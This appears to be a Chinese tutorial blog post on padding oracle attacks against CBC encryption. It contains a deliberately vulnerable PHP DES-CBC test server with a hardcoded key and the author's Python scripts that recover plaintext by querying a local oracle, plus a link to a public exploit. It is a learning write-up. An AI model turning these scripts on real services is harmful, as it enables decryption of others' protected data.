padding oracle攻击原理分析(附带rsa资料)
来源:互联网 发布:打开xlsx的软件 编辑:程序博客网 时间:2024/05/01 01:15
一、前引
最近恶补各种加解密。。把之前学的笔记放一放,本来还想放放自己的rsa笔记,不过这里有一份更好的了,我自己的就不拿出来了。
flappypig rsa:http://bobao.360.cn/learning/detail/3058.html?from=groupmessage&isappinstalled=0
另外这个oj https://www.jarvisoj.com上加上sctf2016都有比较典型的rsa的题目,比较好练手。
另外有个推荐的博客http://bluereader.org/rss/12594/p-1,这个是比较系统的讲了rsa,很不错,理论比上面flappypig那个讲的详细些,逻辑性更强,要是flappypig的暂时看不懂的话可以先看这个再去看那个。
1.1 四种分组加密方式及padding
http://www.cnblogs.com/happyhippy/archive/2006/12/23/601353.html
简单总结下:
其中提到填充方法,以分组8个字节为例:需要填充n个字节,则n个字节都填充0x0n。如果恰好全满,填充8个0x08组成新块。OFB和CFB不需要填充。
如下分组,产生密文我们在反解的时候,注意到最后一个分组的末尾的数值为0×04,即表示填充了4个Padding。如果最后的Padding不正确(值和数量不一致),则解密程序往往会抛出异常(Padding Error)。而利用应用的错误回显,我们就可以判断出Paddig是否正确。
而这个类似二分盲注的思想,因为明文是看不到的,但是明文解密失败是会有反应的。比如在web应用中,如果Padding不正确,则应用程序很可能会返回500的错误(程序执行错误);如果Padding正确,但解密出来的内容不正确,则可能会返回200的自定义错误(这只是业务上的规定),所以,这种区别就可以成为一个二值逻辑的“注入点”。
明文分组和填充就是Padding Oracle Attack
的根源所在。但是这些需要一个前提,那就是应用程序对异常的处理。当提交的加密后的数据中出现错误的填充信息时,不够健壮的应用程序解密时报错。
所以攻击成立两个重要的前提
攻击者能够获得密文(Ciphertext),以及附带在密文前面的IV(初始化向量)
攻击者能够触发密文的解密过程,且能够知道密文的解密结果
1.2 猜解明文
根据之前的分析,padding只可能有以下几种情况:
1个字节的Padding为0x012个字节的Padding为0x023个字节的Padding为0x034个字节的Padding为0x045个字节的Padding为0x056个字节的Padding为0x067个字节的Padding为0x078个字节的Padding为0x08(当原始的明文正好是分组的整数倍的时候,Padding一个整组的填充值)
cbc解密模式图如下:
我们接下来要利用选择密文攻击的思想,不断调整,修正IV。来对Intermediary Value进行猜测。
1.2.1 padding 0x01
我们不断地调整IV的值,以希望解密后,最后一个字节的值为正确的Padding Byte,这里是0×01。因为Intermediary Value
是固定的(我们此时不知道Intermediary Value
),因此从0×00~0xFF之间,只可能有一个IV的值与Intermediary Value
的最后一个字节进行XOR后,结果是0×01( 因为0×01只有最后1bit为1,其他都是0,所以根据XOR的性质,只能存在一个值能XOR得到0×01)。攻击者通过遍历这255个值,可以找出IV需要的最后一个字节。
即我们可以控制iv,然后我们能够知道原本正确的iv是啥,然后我们只需要构造iv使得明文解出来是0x01就行了,这样就推到了中间值,加上我们知道正确的iv,异或一下就能够得到第一组明文的最后一个字节的了:
Intermediary Value ^ iv = 0x01这个iv是我们通过尝试不断构造的,这样子推出了Intermediary Value,那么之前说了我们掌握了真正的iv,这样子就能够知道最终的明文了
1.2.2 padding 0x02
通过上述操作我们能够知道第一个字节,假设为0x??
,因此可以”更新”IV(攻击者输入的IV)的第8个字节为0x?? ^ 0x02
,然后开始随机构造iv的倒数第二个字节,直至解密出来的第一个分组的倒数第二个字节为0x02,此时的iv异或上0x02之后再和正确iv的倒数第二个字节异或,即可得到明文的第一分组的倒数第二个字节。
至于padding 0x03,0x04…..就不再赘述了。
二、测试代码
这里我自己写了个简单的服务器测试了下,写的比较挫,只是帮助自己更好的理解下原理。。然后自己写了poc。写的非常难看,大家将就着看,另外把自己的草稿也保留在其中了。
服务端代码:
<?php$string = 'bendawang';$key = '12345678';$cipher = MCRYPT_DES;$modes = MCRYPT_MODE_CBC;/*#cipher:01af3d443c84ae0d859755ee9b3e2933#iv:38b740ea94706e9b$iv=hex2bin("38b740ea94706e9b");#iv=hex2bin($_GET['$iv']);#$iv=mcrypt_create_iv(mcrypt_get_iv_size($cipher,$modes),MCRYPT_RAND);#$str=hex2bin($_GET['str']);$encode=mcrypt_encrypt($cipher,$key,$string,$modes,$iv);$decode=mcrypt_decrypt($cipher,$key,$encode,$modes,$iv);echo bin2hex($iv)."</br>";echo bin2hex($encode)."</br>";echo $decode."</br>";*/if(isset($_GET['iv'])&&isset($_GET['str'])){ $iv=hex2bin($_GET['iv']); #echo $iv; $str=hex2bin($_GET['str']); $decode=mcrypt_decrypt($cipher,$key,$str,$modes,$iv); #echo bin2hex($iv)."br>"; #echo bin2hex($encode)."br>"; echo bin2hex($decode); $temp=bin2hex($decode);}else{ $iv=hex2bin("38b740ea94706e9b"); $encode=mcrypt_encrypt($cipher,$key,$string,$modes,$iv); echo "the iv is <h2>".bin2hex($iv)."</h2><br>"; echo "the cipher is <h2>".bin2hex($encode)."</h2><br>";}?>
然后是攻击测试代码:
#!/usr/bin/env python# encoding: utf-8import requestsr=requests.session()url="http://127.0.0.1/test.php"tmp="0000000000000000"str1="01af3d443c84ae0d859755ee9b3e2933"iv="38b740ea94706e9b"ans=[]param={"iv":iv,"str":"01af3d443c84ae0d859755ee9b3e2933"}result=r.get(url,params=param)string1=result.contentlastbyte=[]lastmedium=[]for k in xrange(len(string1)/16): ans.append(""); for j in xrange(8): for i in xrange(256): if i<16: tmp=tmp[0:2*(7-j)]+("0"+str(hex(i)[2]))+tmp[2*(7-j)+2:] t=j #print lastbyte #print t while t>0 and lastbyte!=[]: if lastbyte[t-1]<16: tmp=tmp[0:2*(7-t+1)]+"0"+str(hex(lastbyte[t-1]))[2]+tmp[2*(7-t+1)+2:] else: tmp=tmp[0:2*(7-t+1)]+str(hex(lastbyte[t-1]))[2:4]+tmp[2*(7-t+1)+2:] t-=1 else: tmp=tmp[0:2*(7-j)]+str(hex(i)[2:4])+tmp[2*(7-j)+2:] t=j #print lastbyte #print t while t>0 and lastbyte!=[]: if lastbyte[t-1]<16: tmp=tmp[0:2*(7-t+1)]+"0"+str(hex(lastbyte[t-1]))[2]+tmp[2*(7-t+1)+2:] else: tmp=tmp[0:2*(7-t+1)]+str(hex(lastbyte[t-1]))[2:4]+tmp[2*(7-t+1)+2:] t-=1 #print tmp #print i,tmp param={"iv":tmp,"str":str1[16*k:16*(k+1)]} result=r.get(url,params=param) string=result.content #print param #print "0"+str(hex(j+1)[2]) #print len(str1[16*k:16*(k+1)] ) #print str1[16*k:16*(k+1)] #print string #print iv #print string[2*(7-j):2*(7-j)+2],"0"+str(hex(j+1)[2]) if string[2*(7-j):2*(7-j)+2] == "0"+str(hex(j+1)[2]): print tmp print string medium=eval("0x"+iv[2*(7-j):2*(7-j)+2]) myiv=eval("0x"+tmp[2*(7-j):2*(7-j)+2]) time=eval(hex(j+1)) lastmedium.append(myiv^time) #print hex(medium),hex(myiv),hex(time) #lastbyte.append(myiv^eval(hex(j+2))^time) lastbyte=lastmedium[:] #print lastbyte for l in xrange(len(lastbyte)): lastbyte[l]=lastmedium[l]^eval(hex(j+2)) print lastmedium print lastbyte #print tmp #print hex(lastbyte) ans[k]+=chr(medium^time^myiv) print ans break #if k!=0: #a=raw_input() print "\r\nthe answer is : ",ans[k][::-1],"\r\n" iv=str1[k*16:(k+1)*16] lastbyte=[] lastmedium=[] #print "iv:",iv tmp="0000000000000000"print "-------------------------------------------------\r\n"for i in xrange(len(ans)): print "the "+str(i+1)+"th block is : "+ans[i][::-1]#!/usr/bin/env python# encoding: utf-8#仅猜解第一个分组,后续理解原理就一样的类似import requestsr=requests.session()url="http://127.0.0.1/test.php"tmp="0000000000000000"iv="38b740ea94706e9b"ans=""for j in xrange(8): for i in xrange(256): if i<16: tmp=tmp[0:2*(7-j)]+("0"+str(hex(i)[2]))+tmp[2*(7-j)+2:] else: tmp=tmp[0:2*(7-j)]+str(hex(i)[2:4])+tmp[2*(7-j)+2:] #print tmp param={"iv":tmp,"str":"01af3d443c84ae0d859755ee9b3e2933"} result=r.get(url,params=param) string=result.content if string[2*(7-j):2*(7-j)+2] == "0"+str(hex(j+1)[2]): #print tmp #print string medium=eval("0x"+iv[2*(7-j):2*(7-j)+2]) myiv=eval("0x"+tmp[2*(7-j):2*(7-j)+2]) time=eval(hex(j+1)) #print hex(medium),hex(myiv),hex(time) ans+=chr(medium^time^myiv) print ans break #a=raw_input()print "---------------------------\r\nanswer is : ",ans[::-1]'''#猜解第一个分组的第二个字节for i in xrange(256): if i<16: tmp="000000000000"+("0"+str(hex(i)[2]))+"F8" else: tmp="000000000000"+str(hex(i)[2:4])+"F8" #print tmp[14:16] param={"iv":tmp,"str":"01af3d443c84ae0d859755ee9b3e2933"} result=r.get(url,params=param) string=result.content if string[12:14]=="02": print "done!" print tmp print string print chr(eval("0x"+tmp[12:14])^0x02^0x6E) break''''''#猜解第一个分组的第一个字节import requestsr=requests.session()url="http://127.0.0.1/test.php"for i in xrange(256): if i<16: tmp="00000000000000"+("0"+str(hex(i)[2])) else: tmp="00000000000000"+str(hex(i)[2:4]) print tmp[14:16] param={"iv":tmp,"str":"01af3d443c84ae0d859755ee9b3e2933"} result=r.get(url,params=param) string=result.content if string[14:16]=="01": print "done!" print tmp print string print chr(eval("0x"+tmp[14:16])^0x01^0x9b) break'''
三、通用poc
最后也给上了写的比较好的通用poc,一份github的代码,这个是我用了几个之后觉得算是最好的一份了。
https://github.com/mpgn/Padding-oracle-attack/blob/master/exploit.py
- padding oracle攻击原理分析(附带rsa资料)
- Padding Oracle攻击(POODLE)技术分析
- CBC Padding Oracle 攻击
- Padding Oracle 攻击实例分析(ms10-070)
- 漏洞分析---SSLv3降级加密协议Padding Oracle攻击(POODLE)技术分析
- Padding Oracle Attack 分析
- RSA padding
- asp.net padding oracle 攻击实例
- Padding Oracle Attack实例分析
- 2010年度最有技术含量攻击:Padding Oracle Attack
- 2010年度最有技术含量攻击:Padding Oracle Attack
- 一种被忽视的攻击方式-padding oracle
- 【转】 一种被忽视的攻击方式-padding oracle
- RSA padding schemes
- ARP Spoofing攻击原理分析
- ARP Spoofing攻击原理分析
- 缓冲区溢出攻击原理分析
- RSA资料
- ViewPager之FragmentStatePagerAdapter小结
- Qt 之 QQ系统表情—实现动态显示效果
- Android动画之自定义Evaluator实现弹球效果
- 【Uniy3d之EnhanceScollView选择角色3D循环滚动效果实现】
- Android Studio导入eclipse工程出现“app:mergeDebugResources“
- padding oracle攻击原理分析(附带rsa资料)
- 详解contextConfigLocation
- android为什么不允许新开启一个线程来更新UI,而是用handler来更新界面
- uoj34: 多项式乘法
- 论文笔记 DenseCap: Fully Convolutional Localization Networks for Dense Captioning
- telephony-2(app及framework)
- 使用epoll编写服务器
- bzoj 3196 二逼平衡树 树套树
- 微信“小程序”,真的能替代APP吗?